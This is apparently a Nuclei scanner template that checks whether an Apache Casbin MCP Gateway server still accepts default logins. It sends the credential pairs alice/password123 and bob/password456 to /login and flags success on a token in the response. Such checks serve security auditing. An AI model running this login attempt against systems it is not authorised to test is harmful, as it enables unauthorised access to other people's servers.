id: apache-casbin-mcp-gateway-default-login

info:
  name: Apache Casbin MCP Gateway - Default Login
  author: icarot
  severity: high
  description: |
    Apache Casbin MCP Gateway server default login credentials were discovered.
  reference:
    - https://github.com/apache/casbin-mcp-gateway
  metadata:
    max-request: 2
    vendor: apache
    product: casbin-mcp-gateway
  tags: apache,casbin-mcp-gateway,default-login

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{username}}","password":"{{password}}"}

    attack: pitchfork
    payloads:
      username:
        - alice
        - bob
      password:
        - password123
        - password456

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"token":'
          - '"user":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100be37ef141fcc4781ce5b7d3740eda42da36cf0ca31536350f7aa4384ebac9a700220230a8214e247c99d98bf79d969dbbdf3ca94a29023d7054687926369431f351a:922c64590222798bb761d5b6d8e72950